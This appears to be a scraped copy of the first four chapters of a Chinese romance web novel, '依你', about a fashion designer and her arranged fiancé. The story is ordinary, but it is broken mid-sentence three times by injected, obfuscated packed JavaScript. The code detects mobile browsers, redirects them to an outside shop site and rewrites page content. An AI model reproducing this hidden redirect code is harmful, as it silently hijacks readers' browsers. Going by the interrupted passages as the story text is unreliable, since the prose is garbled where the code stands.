《依你》 1. chapter 01 《依你》 文/夭川 2023年2月23日 --- 台前乌泱泱坐了一群人,台后乌泱泱忙活了一群人。 国内服装设计新秀大赛两年一届,今日是发布会,会场一如既往定在风城。 风城是华国仅次于首府的大城市,亦是出名的时尚之都,这里藏龙卧虎,服装设计师和工作室成群,在场的本地设计师与国内其他地方过来参加发布会的人数基本持平。 听说今年荣斩男装组桂冠的就是风城本地的一位青年设计师。 “程小姐,再过五分钟,就必须得去候场了。” 秀场助理的模样一反时尚圈的刻板印象,是一个黑黑壮壮的小伙,正拿着名单挨个提醒,粗声粗气的,有些急躁,但仍尽量保持礼貌。 室内开了空调,穿梭在人群中的他满头大汗。 “好,知道了。”回答他的是一个正半跪在地上给男模特改衣服的女子,她皮肤白皙,一双眼睛瞳色稍浅,整张脸长得不算美艳,但看起来清秀恬淡,在后台一群莺莺燕燕之中,像是姹紫千红里一片凝着朝露在晨光下展开的青叶,透着干净温和。 因为在现场做缝合,所以她嘴上还含着一节针线,说话有些含糊。 ——她就是本届新秀大赛男装组冠军程姿遥。 毕业于美国帕森斯设计学院,一回国便创建了独立品牌XYAO。 今年才二十六岁,在历届获奖者中算是年轻的那一批。 她的男模特看起来更年轻,二十左右的样子,身材颀长,凤眸挺鼻,模样俊朗,脸上化了走秀的妆容。他愧疚地低下头,像个涉世不深的大学生似的露出些许羞怯的神情,轻声说了句:“姿遥姐,对不起。” 虽然时间紧迫,事发突然,但程姿遥手上依然有条不紊,脸上也未露急色。她甚至连语气都还是温温和和的:“没事,来得及。” “我不该接那个通告,导致前天昨天都不在风城,无法试衣。”男模特一脸懊恼地自我检讨,“没维持住最后一次试衣的身形,对不起。” 程姿遥手法漂亮地收针剪线,站了起来,然后抬手看了下腕表,微微一笑:“赶上了,我陪你去候场吧。” “姿遥姐……” 程姿遥拍了拍他的肩:“小白,如果你真觉得抱歉,就好好表现,把我的作品以最完美的姿态展示出去。” 男子的眼神逐渐坚定起来:“一定!” 把人送去候场后,程姿遥快步走进了换衣间。 等男女装分别走完后,她作为获奖设计师,要和白子慕一起出去,接受鲜花与掌声。 今天她为自己准备的是一条黑色吊带小礼裙,是出于她工作室另一位设计师之手,比较正式但又不会太显隆重。正好她这次获奖的男装以白色为主,到时她和白子慕一黑一白上台也很和谐。 换衣间都在一块儿,她进去换衣服时,听到换衣间外传来几个同行的聊天声,闲聊主题无外乎就是风土人情和设计圈动态分享之类。 程姿遥很快就手脚麻利地把衣鞋换好,然而就在她打算推门而出的时候,却听外面的交谈声话题一转—— “你说她一大小姐,来跟我们抢什么饭碗呐。” “嘘!话可不能乱说。” 程姿遥开门的手一滞。 “放心,她不在这儿,我刚刚还看到她在忙着呢。” “我也看到了,感觉她那作品全靠模特撑着。” “那个小鲜肉好像是她家专属。” “多新鲜啊?包养个小奶狗,穿衣脱衣都自己上。” “啧啧啧,有钱真的可以为所欲为。” 程姿遥感觉外面一时半会儿消停不下来,干脆从包里掏出了粉饼和口红,坐在隔间里补妆,不耽误一分一秒。 等外面的人走了,她也好了,便出门直接去找主办方请来的化妆师给她补彩妆部分,毕竟是要上台的。 一位相熟的化妆师朋友留了位置,程姿遥坐下后对着镜子中的朋友抱歉一笑:“Andy,不好意思,时间有点赶,不用太复杂,能上台就行,反正重点还是在作品身上。” “是是是,知道啦。”Andy和程姿遥是通过白子慕的经纪人叶莹莹认识的,也一直负责白子慕的妆容。 他手脚麻利,为程姿遥画眼线时,凑近低声打趣问:“对了,你那小男友呢?” “不知道呢,没回消息。”程姿遥垂下眼,看不出眼中的情绪,“可能在忙吧。” Andy“啧”了一声,八卦之心没得到满足,有些失望。 人虽八卦,但业务能力还是在线的,踩着点把程姿遥送上了台。 作为冠军组,模特白子慕和设计师程姿遥一白一黑从台后出来,并肩同行,迎着台下祝贺的掌声,走上了灯光闪耀之下的T台。 模特不能有过多表情,明明是和之前一样的淡漠,但此时白子慕脸上莫名多了分虔诚的意味,承着旁人左手的姿势显得郑重而神圣。 而程姿遥一袭低胸开背黑裙简约大方,裙上的亮片在灯光下泛着细碎的光芒,黑裙的裁剪衬出她盈盈在握的腰肢和线条优美的肩颈,一条锁骨项链垂在她白瓷似的肌肤上,一颗小指甲盖大的鸽血红宝石在两道锁骨之间的低壑处如点睛之笔。 面对掌声与镜头,程姿遥始终保持微笑,表现自然淡定,丝毫没有像前面几个同龄设计师一样略显局促与慌张。 在众多意味不明的目光中,似乎有一道熟悉的目光,落在她身上比灯光更加灼人。 当即,程姿遥表面仍然不动声色,但一直安然搭在白子慕掌心上的手指蜷曲了下,如平静的湖面忽地皱起一丝涟漪。 她不着痕迹地将视线在观众席中四处扫了一遍,却并没有捕捉到她心里的那道身影。 难道是幻觉吗? …… 颁奖结束,主办方举行闭幕仪式。 程姿遥把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340443|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白子慕交给同事后,自己往台前去找人。 然而,到处都是乱糟糟的,后台人员混杂,她踩着高跟鞋在人群中寸步难行。 她抓着手机拨通一个号码,一边等待接听,一边继续艰难前行。 突然,她只觉肩上一重,还没反应过来就被人从后面揽着拖进了一个房间。 那是一间在这之前一直紧闭的杂物间,空间逼仄,比试衣隔间还小一点,堪堪够两个成年人站立,头顶悬着一条灯管,暖黄色的光照出漂浮的尘埃颗粒。 房间染上了暧昧的颜色。 看到门被关上,程姿遥一惊,伸手去探门把手,失声:“谁?你……唔……” 她刚摸上门把手,就有一只骨节分明的手覆上了她的手背阻止了她。同时身后人用另一只手捂住了她的嘴,胸膛贴着她的后背,凑到她的耳边:“嘘——” 身后人的气息拂过耳边,吹得她的脸泛起了红晕。 程姿遥顿时收起了惊恐,冷静下来。 一股熟悉的男香将她包裹,那是她亲自挑选的香水,出自一个已经绝产的法国小众品牌,现在已经很难买到了,是她在芝加哥的一家中古店意外淘到的。 她手里还握着处于拨号界面的手机,而仔细一听,就会听到有细微的震动声自身后传来。 由于长时间无人接通,通话结束,屏幕熄灭,与此同时身后的细响也消失了。 与外面的嘈杂只隔着一层单薄的门板,甚至时不时会有人或器材碰撞在墙面的声音。 身后人抱着她稍微往侧转了一下,程姿遥这才发现杂物间左侧墙壁挂了一面有着些许污渍斑点的镜子。 镜中映出她和身后那人的身影。 那是一个二十岁出头的年轻男子,穿着一身半正式的枪灰色小西装,目测有一米八五左右,比踩了高跟鞋的她还高出一截,头都要顶到灯管了。 从长相来看,他无疑是生得十分俊俏,不输今日在场的任何模特明星,甚至身上还带有旁人少有的贵公子气质——那是从小到大真正的养尊处优浸润而成的,以至于原本有些轻佻的动作在他做出来,也显得优雅十足,无损教养。 一对浓眉似剑带锋,一双黑眸如缀星光,他的五官棱角鲜明,本属于十分具有侵略性的长相,但恰好他鼻尖有一颗淡痣,将他给人的感觉柔和了不少,没有那么张扬凌厉,甚至还增添了几分乖巧与阳光。尤其当他勾着嘴角,脸上带着一抹微笑时,神情看起来会非常真诚。 比如现在。 程姿遥感觉自己像是被漂亮海妖挟持的人质。 而身后的“漂亮海妖”放下捂住她嘴的手,抬眸通过镜面与她的目光交汇,挑了一下眉。 “你……”程姿遥找回声音,仍然有些茫然,“怎么会在这里?” 男子从身后拥着她,低笑了两声,随后俯身贴近她,温热的鼻息在她耳边游离,不疾不徐地说:“不是你在到处找我吗?” “姐姐。” 2. chapter 02 许是空间太过逼仄,又许是头顶的灯管光线过于灼人,程姿遥感觉周遭的温度似乎升高了好几度,热得她的双颊愈发滚烫。 明明对方身上的香水很淡,却不知为何以绝对性的优势,压过了自己身上的香水味,在暧昧的气氛中愈发浓郁了几分,熏得她快要沉溺在这片木质香的浪潮中,心跳如海浪拍岸。 她像是随波逐流的游鱼,任浪波把她推往男人的怀中,她就这样背靠着倚在身后人的胸膛前,羞窘地垂下了眼,不敢看镜中自己的模样。 她感觉得到男人的鼻息近在耳畔,对方修长的手指不轻不重地划过她的鬓发与耳垂,另一只搂着她的手也是半虚半实的。 明明没有任何逾越之举,却已足以令她面红耳赤,全然没有在台前的从容模样。 过了会儿,她听到男子轻笑一声:“来,姐姐,看。” 不待程姿遥反应过来,已有一只手轻轻托着她的下巴引导她缓缓抬起了头。 首先映入眼帘的自然是镜中早已羞红全脸的自己,而后她顺着镜中男子手指的动作,注意到了自己的耳朵。 ——那里不知何时多了一对不对称的耳钉,一边是一朵花缀着两道半弧流苏,另一边是三朵稍小的花团簇在一块儿,上面镶的钻在灯光的映衬下星光璀璨,闪闪发光。 虽说饰品的雕花总是大同小异,但程姿遥能肯定,这做的是木槿花。 她的小名叫小槿。 果然,男子笑眯眯地说:“遥遥姐,这是木槿花。” “嗯,很漂亮。”程姿遥回过神,“你刚刚帮我戴上的?” 男子用手指轻轻撩起右耳垂下的流苏:“对啊,遥遥姐喜欢吗?” “喜欢。” “刚才在台下看你,总觉得耳边少了些点缀。”男子显然对自己这份礼物也很满意,语气颇有些自得,“早知道开场前就把这份贺礼送上了。” 程姿遥这才想起是开场前太过混乱以致于她忘记了戴上原本准备好的耳饰,她微微一笑:“谢谢你,小逍。” 男子挑眉:“遥遥姐高兴就好。” 他就是风润集团董事长韩重森的侄子韩逍,比程姿遥小三岁。 程家和韩家是世交,皆是国内的名门望族,而两家的联姻早已暗自定下。 只要再过半年,他们的婚约便会对外公布,并且正式订婚。 两人等外面声音小一些了,才一前一后间隔地出了隔间。 程姿遥换好衣服出来后,不料遇上了才把东西都收拾好的Andy。 Andy站在出会场大门的大厅内,身上的气质自带几分妖气,两个专业又厚重的大化妆箱一左一右地放在脚边,看起来在等人的样子,远远地就冲她招手:“亲爱的,我还以为你早去参加庆功宴了呢!” 程姿遥已换下了登台时的黑色礼裙,取而代之的是一套为庆功宴准备的淡紫色鱼尾礼裙,后腰有一块纱制的大蝴蝶结,设计独特。 她本就生得高挑细瘦,一米七的个头,才一百斤出头,这套衣服勾勒得她本就清瘦的身材更加纤细,又增添几分性感。 之前脖间那惹眼的红宝石项链被换成了一条锁骨链,手腕上戴着一个价值不菲的紫玉镯子,耳边的木槿花耳钉在黄昏之下凝泛着点点光芒。 待她走近,Andy才注意到跟在她身后的韩逍,怪叫一声:“哎哟喂!” 韩逍带着礼貌的微笑,乖巧地对Andy点头示意,走近后伸出了手:“你好。” “你就是传说中的小男友吧?!”Andy兴奋地与他握了手,“老早就在姿遥的手机里见过你了,不过那张照片不清楚,这一见真人啊,居然这么绝,真想给你上个妆试试!” 程姿遥脸色微变:“Andy!” 在正式订婚之前,她将韩逍保护得极好,尤其是两年前回国工作后在国内时装圈认识的人,只知道她有一个圈外男朋友,从不带出来张扬。 听到“小男友”这个称呼,韩逍挑了下眉,不置与否。 等和Andy告别后,男生才问:“你们很熟?” “嗯,他是莹莹姐的熟人,做事还是很靠谱的。” 韩逍微微一笑:“原来遥遥姐在业内都叫我‘小男友’,这还是第一次听说。” 程姿遥脚下踉跄了一下,还好被身边人眼疾手快地扶稳了。她不好意思直面身侧的目光,低头解释说:“是那次收工喝多了,被他套话套出来的……当时就只有我、他还有莹莹姐,其他人都不知道的。” 韩逍问:“哪次?遥遥姐居然又背着我喝那么多酒。” 程姿遥如实说:“没有很多,就上个月初,你出差那会儿,我跟你说了,但你当时好像在忙。” 韩逍眼中的笑容如同火苗般扑闪了下,但很快恢复如常,他握着程姿遥的手紧了两分,似真似假地喟叹:“遥遥姐酒量这么差,真叫人不放心。” 程姿遥张了下嘴,似是想提什么往事,但最终到了嘴边,只有一声应答:“嗯。” 来的时候程姿遥是和工作室的人一起来的,现下韩逍过来了,她提前就发消息给同事,让他们先把车开走了。 韩逍今天开的是一辆红色保时捷,很符合他这个年纪公子哥的审美。 路走到一半,程姿遥察觉到了不对:“你绕路了?庆功宴在皇丽,不走这条路。” “被发现啦?”韩逍也不打算隐瞒的样子,“在去庆功宴之前,我想单独为遥遥姐庆一下功,只有我们两个人。” 程姿遥愣了下:“可是庆功宴……” 韩逍说:“没有很远,就是包了一家餐厅,不会耽误太久的,再说了,大佬都是最后登场的,去晚点也没什么。” 程姿遥露出有些无奈的神情,她是一个喜欢把什么事情都计划得井井有条的人,但这个人总是会带给她那么多计划外的“意外”,把她的计划打乱。 可是,她并不反感或抵触。 对于韩逍,她总有着似乎无限度的包容与纵容。 见她不说话,韩逍看向她,一双眼睛亮晶晶的:“遥遥姐,生气了吗?” 程姿遥摇了摇头:“不生气,都依你吧,能赶上就好。” 韩逍笑了:“最喜欢听遥遥姐说这两个字了。” “嗯?” “‘依你’。”韩逍放低了声音,眼底的笑意暧昧缱绻,“很温柔,好像无论我怎样胡作非为,都能惯着我。” 程姿遥也笑了,靠在座椅上闭目养神。 她这一整天都过得兵荒马乱,在会场时因为要上场所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340444|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全身打了十二分精神撑着,现在一切结束,尘埃落定,疲倦便如冲开闸门一样涌上全身。 她坐在副驾驶座上,迷迷糊糊睡着了,等再次醒来时,发现车已经停在了某个地下停车场,韩逍刚熄火解开安全带。 “遥遥姐,你醒了?”韩逍注意到她的动作,“我还说再让你多休息会儿。” 程姿遥揉了揉眼睛:“嗯……到了吗?” “到了。”说着,韩逍她倾身而来。 男子的气息再度扑面而来,那双暗藏银河的黑眸像是一张向程姿遥扑近的网,眼看要将她如猎物般捕获。 然而,就在两人即将鼻息相接时,韩逍停下了。 只见他并没有任何逾举,仅是抬手替她把睡乱的发丝撩至耳后,看着对方怔愣的模样,笑意愈浓:“好了。” 程姿遥与他的双眸相对,脸颊一热,忙偏过视线:“下车吧。” 韩逍包下的是位于这栋商业楼最高层新开的观景旋转餐厅,是很多年轻情侣热衷的打卡地,主打法国菜,只不过这里消费很高,又是会员预约制的,所以程姿遥每次听工作室的小姑娘们提起时,她们的语气都充满向往。 她在听说后有和韩逍提过一次这里,说有空来试一试,也不知道韩逍是不是因为记住了她这句话而选了这里。 整个餐厅都被包了下来,到处装饰着鲜花彩带,甚至每一张空桌上也都插着一束木槿花,分别绑着一只金色的字母气球,最终拼出“CONGRATULATIONS”等贺词。 背影音乐放的是钢琴小提琴合奏版的《MyOwnTrueLove》,那是程姿遥最喜欢的曲子。 餐厅侍者领着两人在唯一一桌没有系气球的位置上坐下,桌上的木槿是所有桌中唯一一束粉紫色,温柔的颜色,也是程姿遥最喜欢的颜色。 从身旁干净透明如无物的落地窗往外看去,能把华灯初上的风城尽收眼底,还能看到几处风城地标性的建筑塔楼。 侍者为他们开了一瓶拉菲,深红色的液体在灯光下晶莹剔透。 程姿遥突然觉得,翘掉庆功宴好像也不是什么过分的事情。 ——顶多被她的合伙人唐歆骂一顿而已。 在夜景、鲜花、佳肴还有悠扬的音乐中,程姿遥感觉一天的疲惫都被洗去,身体放松下来,思绪也飘远了。 对于学设计的她来说,法餐并不陌生,这家的味道还算正宗,让她又想起了以前跟着学姐飞去巴黎出差见习的日子,仿佛就在昨天。 如果半年后他们来参加她的订婚宴吃不惯中餐,就带他们来这里试试吧。 说起来,请柬也要开始拟定了…… 许是她真的不胜酒力,喝了两口红酒就有些微醺,又或许仅仅是夜色太迷人,楼下的车水马龙让她看得入了神,以至于韩逍连着唤她三声,她才听到。 程姿遥抬头看向对方,眼角都透着放松下来的舒适,她的笑容比云间月色还要温柔:“嗯?你说什么?” 或许是她的话语与微笑都太过轻柔慵懒,连韩逍都稍稍一愣。 然而,仅是片刻后,这个为她精心准备了这一切的男孩便放下了餐具,微敛笑容,有些郑重地告知了她一个决定—— “遥遥姐,我们解除婚约吧。” 3. chapter 03 十六年前,程姿遥第一次见到韩逍。 那年她十岁,韩逍七岁。 那时正值初夏,蝉鸣开始缠绵起伏,风城老宅院内的槐树枝繁叶茂,阳光透过枝叶罅隙洒下斑驳的碎金。 她穿着一身紫白相间的小洋裙,正坐在庭院树下的秋千看书,时有微风习习,撩动起女孩头上淡紫色的发带随风飘扬,在空中宛如一条静谧的溪流。 她看书看得太入迷了,竟没察觉到有人走近。 “姐姐。” 听到这声轻唤,小姿遥翻书的手指一顿。 迟疑片刻后,她抬起头,意外对上一双清澈明朗的双眼,映出她怔愣的模样。 来者是一个陌生的小男孩,年龄明显比她还小,穿着一件白衬衣配褐色背带短裤,头上戴着一顶卡其色贝雷帽,帽下是一张白净细嫩的小脸,浓眉大眼,唇红齿白,鼻尖落着一粒小痣,生得端正漂亮极了。 他踏着双锃亮的小皮鞋,又是凑近了一步,径自低头好奇地看着小姿遥手中的书,声音软软糯糯的:“姐姐,你在看什么呀?” 听到“姐姐”这个称呼,小姿遥不由想起自己远在龙城的亲弟弟,一时慌乱起来:“故、故事书……啊!” 她下意识地往后退缩,却忘了自己在秋千上,身形一晃,眼看就要往后栽倒。 这时,还好小男孩眼疾手快地拉了她一把:“哎呀!” 小姿遥重新坐稳,脸颊涨红,局促地说:“谢谢……” 小男孩凑得更近了,抬着一张白皙无瑕的脸蛋,笑眯眯地问:“姐姐,你看的是什么故事啊?” 小姿遥低着头,小声地说:“没、没什么,不是什么很厉害的故事。” 小男孩却没因此放弃,而是坚持说:“跟我讲讲吧,我想听!” 小姿遥犹豫着抬起了头,看着男孩天真无邪的笑容和亮晶晶的眼睛,感觉多少受到了鼓舞,鼓起勇气开口讲述:“就是讲从前有一个人,买到了一颗流光溢彩的宝珠……” 商人售卖时,说这颗宝珠独一无二,是世上最坚硬的珠子。 买下宝珠后,那人爱不释手、珠不离身,宝珠经年累月也不见有丝毫破损,依然是那么光彩耀目,仿佛应证了商人的话。 然而,久而久之,那人便觉得宝珠能经受住平素的小磨小蹭是理所当然,要是能经受得住更大的磨损,才能证明它名副其实。 于是他开始大力地在凹凸不平的水泥地上摔掷宝珠,摔了成百上千次,宝珠都完好无损; 他又拿刀去割,拿斧头去劈,拿锤子去凿,宝珠依然如初; 之后又用火烧,用车碾,用电击…… 他想尽了各种办法去破坏宝珠,宝珠都没有破损,看起来完美如初。 然而后来有一天,他发现宝珠居然突然莫名其妙自己碎了。 于是那人包起宝珠的碎片,气急败坏地跑道售卖宝珠的商人那里,痛斥他撒谎。 商人经不起他的胡搅蛮缠,把当初买宝珠的钱退还给他。 拿到了退款,那人却仍是郁郁寡欢,总觉得平时佩戴宝珠的地方空落落的,再看到别的美好饰品都不及宝珠称心。 但他已经永远地失去了那颗宝珠。 ——与其说是故事,不如说是一则寓言。 讲完结局,小姿遥再抬头,却发现男孩早坐在草地上靠着大槐树睡着了。 阳光从树叶中漏下来,落在男孩身上,让他整个人都仿佛散发着淡淡光晕,像是西方插画里的小天使。 正当小姿遥不知所措的时候,兰姨从游廊穿了过来,发出一声惊呼:“呀,原来在这里!” 小姿遥合上书,指着地上的男孩:“兰姨,你在找他?” “是啊,没想到跑这儿来了。”兰姨走近发现男孩睡着后,也放轻了声音,“今天韩老夫人来找夫人喝茶,把她的小孙子韩逍少爷也带过来了。” 小姿遥重复了一遍这个名字:“韩逍……” 兰姨把睡熟的小韩逍轻轻地抱了起来,看向小姿遥,脸上露出欲言又止的样子,最后只意味深长地说了一句:“姿遥小姐,以后小韩少爷可能会常来,还请你们要好好相处。” 年纪尚小的小姿遥并没有深究对方的弦外之音,只是乖巧地点点头:“好。” 其实她有点害怕与年龄比她小的男孩相处,这会让她想起她同父异母的亲弟弟看向她时陌生又警惕的眼神。 两岁的小孩不懂事,但已经懂得了排斥她。 却不料她一抬头,就看到趴在兰姨肩头的小韩逍不知什么时候睁开了眼睛,一双猫儿一般的眼睛清明透亮地望着她,视线对上后还眨了眨眼,顽皮地冲她做了个鬼脸。 而背对着他的兰姨还以为他在熟睡,走得极为小心,时不时还用手在他后背轻抚。 这是小姿遥第一次怀疑别人,对象还是一个比她还小的小孩。 她合理怀疑,小韩逍刚才是在装睡。 初次见面后没有几天,韩逍的存在就出现在了程老太太对她的问话中。 祖母的房间好保留着上个世纪书香门第的风韵,一切都是那么古色古香,家具以木质为主,入门十二折千里江山屏风,屏风后的梨花木柜上摆着各种名贵的古董器皿。 程家祖母信佛,每日都雷打不动地做早课,屋里焚着淡淡檀香,桌上的纸墨笔砚是祖母拿佛经练书法时用的,时不时放置的报纸文件增添了几分现代气息。 简单问过了她在学校的功课后,程老太太话锋一转:“见过韩家那位小少爷了?” 小姿遥点点头:“嗯,这几天他时常过来玩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340445|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “觉得怎么样?” “怎么样?”这个问题对于一个十岁小孩来说实在有点不知所措,更何况评价对象一个小弟弟,小姿遥想了想,才乖巧地作答,“韩逍弟弟很聪明,也很阳光可爱。” 程老太太不置与否,只是说:“你以后也多去韩家走动走动。” “好……”小姿遥虽是答应着,但却有些疑惑。 程老太太注视了她片刻,突然叹了一口气:“你长得很像你母亲。” 小姿遥对这话不陌生,很多人都这样说过,所以她和弟弟程黎生并不太像,至少目前才两岁的程黎生和她两岁时很不像。 “我第一次见恩禾,她和你现在一样大,但她性格太要强了……”程老太太神色黯然,看向小姿遥的目光复杂极了,“是我没照顾好她。” 小姿遥的手捏拽着自己的衣角,不知所措。 “我也知道时代不一样了,联姻不是上策。”程老太太伸手抚摸着小姿遥的脑袋,“可是,小槿,祖母年纪大了,不能永远护着你,总要为你的未来作打算,如果没有一个保障,我怕以后程家容不下你。” 小姿遥抬头看着祖母,似懂非懂,心里隐隐涌起一股预感。 果然,就听程老太太接着说:“我与你韩祖母打算为你和韩逍定个娃娃亲,想必有了利益牵扯,你父亲再怎么样也不会亏待你。” “小槿,千万别像你妈妈那样。” 室外晴空万里,阳光灿烂,以至于小姿遥从赵祖母房间出来后被突如其来的阳光刺得睁不开眼,下意识地用手挡了一下。 等她重新缓缓睁开眼后,就看到小韩逍抱着几本书从不远处朝她小跑而来。 和她这个仅是表面风光的大小姐不一样,这个孩子才是真正的天之骄子。 男孩丝毫不知她的思绪,只是跑近后停下,那笑容比阳光还要灿烂晃眼,声音里都透出明亮:“姐姐,我们一起看书吧!” “……” “姐姐?” 小姿遥盯着对方清澈无邪的双眼,想起祖母刚才说的那一番话,莫由来地心虚起来,手中捏出一层薄汗。 眼前天真烂漫的小孩,从今往后却是她在程家安身立命的底牌了。 那一瞬间,很多画面在她脑袋里飞驰而过。 她想起了母亲生前的强势,即使久卧病榻依然与父亲针锋相对;想起了父亲的不耐与冷漠;想起了继母的温婉贤淑,说话时总是细声细气,对父亲百依百顺,从没急过眼;想起了父亲面对继母时脸上满意的笑容和不再冰冷的眼神…… 想起方才祖母叮嘱的,让她不要像母亲那样。 万千思绪飞过,小姿遥有些僵硬地弯了下唇角,迎上小韩逍的目光,温声答应:“……好。” “依你。” 4. chapter 04 经两家族老商议后,程姿遥和韩逍的联姻不日便定下了。 为了这件事,程姿遥的父亲程祖皓还特意来了一趟风城。 程家是国内的珠宝大亨,自程祖皓接手家族经营后,虔程集团的发展重心逐渐转移到了龙城,连带程家的新宅都建在龙城。 但寻根溯源,程家发家于风城本地,老宅位于风城郊外最早开发的产权区,那一块儿地是程姿遥的曾祖父辈买下的,和韩家大宅几乎比邻,两家是世交了,程祖皓和韩逍的父亲韩重林还算发小。 韩重林是韩家风润集团的二把手,不是当家,因此韩逍也不算是嫡孙,压力没那么大,不然这桩婚事也没这么容易洽谈下来。 长辈们心里都清楚,这是一场明码标价的交易。 程老夫人想通过这一纸婚约保住程姿遥在程家的地位,而韩老夫人想通过与程家联姻弥补小儿子韩重林年轻时因自由恋爱结婚而错失的利益和机会。 婚事定下来后,程祖皓又匆匆回龙城了,临走之前只给年幼的女儿交代了一句话:“不要让奶奶太操心,好好珍惜这次机会。” “好。”小姿遥乖巧地应下,不敢抬头看父亲一眼。 程祖皓没再多问什么,仿佛刚才那句话已经是仁至义尽。 前有祖母的叮嘱,后有父亲的交代,小姿遥对这场联姻的本质心知肚明。 但小韩逍还太小,似乎还不懂联姻是什么,缠着她问了许久。 “也就是说,姐姐你就是我的新娘子了吗?”小韩逍的眼睛又大又亮,看人的时候总是那般天真无害,“我们结婚了?” 被另一个当事人这么直接地问这种事,小姿遥有些羞赧:“未来是的,现在相当于先许下一个约定,等我们都长大了,再正式订婚,然后再结婚。” 小韩逍点了点头,又问:“像爸爸和妈妈那样?” 小姿遥红着脸:“嗯。” 却不料小韩逍笑眯眯地说:“我爸爸经常打我妈妈,那我以后也可以经常打姐姐咯?” 小姿遥一愣,没反应过来。 “他们还会玩互相诅咒的游戏。”小韩逍依然用着澄澈的眼神和无邪的笑容说着残忍的事实,“我们以后也会玩那样的游戏吗?” 小姿遥慌乱起来,她没有听说过韩重林夫妇的相处细节,只知道韩逍的母亲许笙从前是红极一时的演员,长得非常漂亮,而韩重林当年为了娶她把韩家族老们都得罪了个遍。 她只当小韩逍童言无忌,不知道自己说的话语背后概括的是怎样残酷的事实,于是她有些手毛脚乱地安抚小韩逍,僵硬地摸了摸他的头,又学着兰姨对她那样,抱住了小韩逍。 然而,抱住后她就无法看到小韩逍眼中一闪而过的狡黠,还带着一丝恶作剧得逞的快意。 小韩逍追问:“姐姐怎么不说话?我们不可以玩吗?” 小姿遥讷讷:“嗯……最好不要那样,那样不好。” “那哪样是好的?”小韩逍笑着,“像姐姐的爸爸妈妈一样?” 小姿遥心里像是被刺扎了一下似的,不太舒服。 ——她的母亲赵恩禾是程祖皓的原配,二人的婚姻也是家族联姻,感情并不和睦。 这件事并不隐秘,很小的时候家里家外的闲言碎语就钻进了她的耳朵。 大家都说是她的奶奶很喜欢她母亲,但她父亲并不,再加上后来赵家破产,她外公去世,树倒猢狲散,一众亲戚都烂泥扶不上墙,所以她父亲后来连面子上都懒得装了。 她哭着回家把这些说给了母亲,赵恩禾严厉地惩罚了她,并叫她从此不许再听再提。 三年前,赵恩禾病逝了。 那之后半年左右的时间,程祖皓就再婚了,对象是一个没有任何身家背景的女人,温柔似水,和强势的赵恩禾截然不同。 大家都说,那才是她父亲的真爱,是她父亲原本想娶的人。 如果放在故事篇章中,她父亲和那个女人才是男女主角,而她的母亲,那个骄傲的女人,是两人真爱路上的绊脚石,是主角修成正果后回头一看不值一提的考验。 而她则是丑角留下的,令人如鲠在咽一般的存在。 小姿遥抱着小韩逍的手收拢了两分,与其说是在安慰小韩逍,不如说更像是在说服自己:“不会像他们一样的,我们会更好的,一定会更好的。” 小韩逍像猫儿似的微眯起眼睛,像是对这个答案感到无趣。 风徐徐地吹,夏天的风都是热的,小姿遥抱着小韩逍坐在庭院凉亭里,也不知道什么时候撒手才比较好,胳膊都渗出一层细汗。 后来,在小韩逍身上,程姿遥慢慢领略到了“童言无忌”有时也是武器。 像是玫瑰的刺,又像是麦穗上的芒,冷不防地就扎你一下。 没过多久,小姿遥到韩家做客,韩家老宅后院的白玉兰开得正好,一庭幽香,沁人心脾,花朵似玉如雪,团簇在一块儿,像是散落在曲木乌枝上的云朵。 小姿遥抬头看入了神,执着拼图碎片迟迟都没下一步,一旁的小韩逍等的不耐烦了,抬头看了她一眼,眼珠子一转,笑嘻嘻地开口:“姐姐,你觉得是风城好,还是龙城好?” 小姿遥收回目光,温声说:“各有各的好。” 事实上,她并不了解风城,自两年前她被接到风城后,除了上学以外她几乎就是闭门不出,而相反,对于龙城她熟悉得多,她喜欢龙城的古建筑、月季、红枫、银杏、远山还有冬天的雪…… 但母亲走了,那里对她来说也变得陌生。 接着,就听小韩逍冷不丁地问了句:“听说你是被赶出来的,是真的吗?” 小姿遥一愣,怀疑自己听错了:“嗯?” 只见小韩逍直直地盯着她,眼神依然是那么清澈无邪,好像只是简单地提出了一道算术题:“听说姐姐你是被程叔叔赶出龙城的,是真的吗?” 小姿遥猝不及防,顿时呆住了,片刻后才否认:“不……不是真的,是祖母想我陪陪她,就把我接过来了。” “是吗?”小韩逍低下头继续拼凑摆放在地毯上的拼图,一边似乎漫不经心地说,“我听人说姐姐都转学来风城两年了。这么久,程叔叔都不会想姐姐的吗?” “……” 小韩逍拿起一块新的拼图碎片,左右看了看:“上次看到程叔叔,好凶喔,他什么时候会把姐姐接走啊?” “……” 小韩逍把碎片准确地放到了右上角,像是自言自语一般轻声说:“姐姐是没人要的孩子吗?” 小姿遥说不出话。 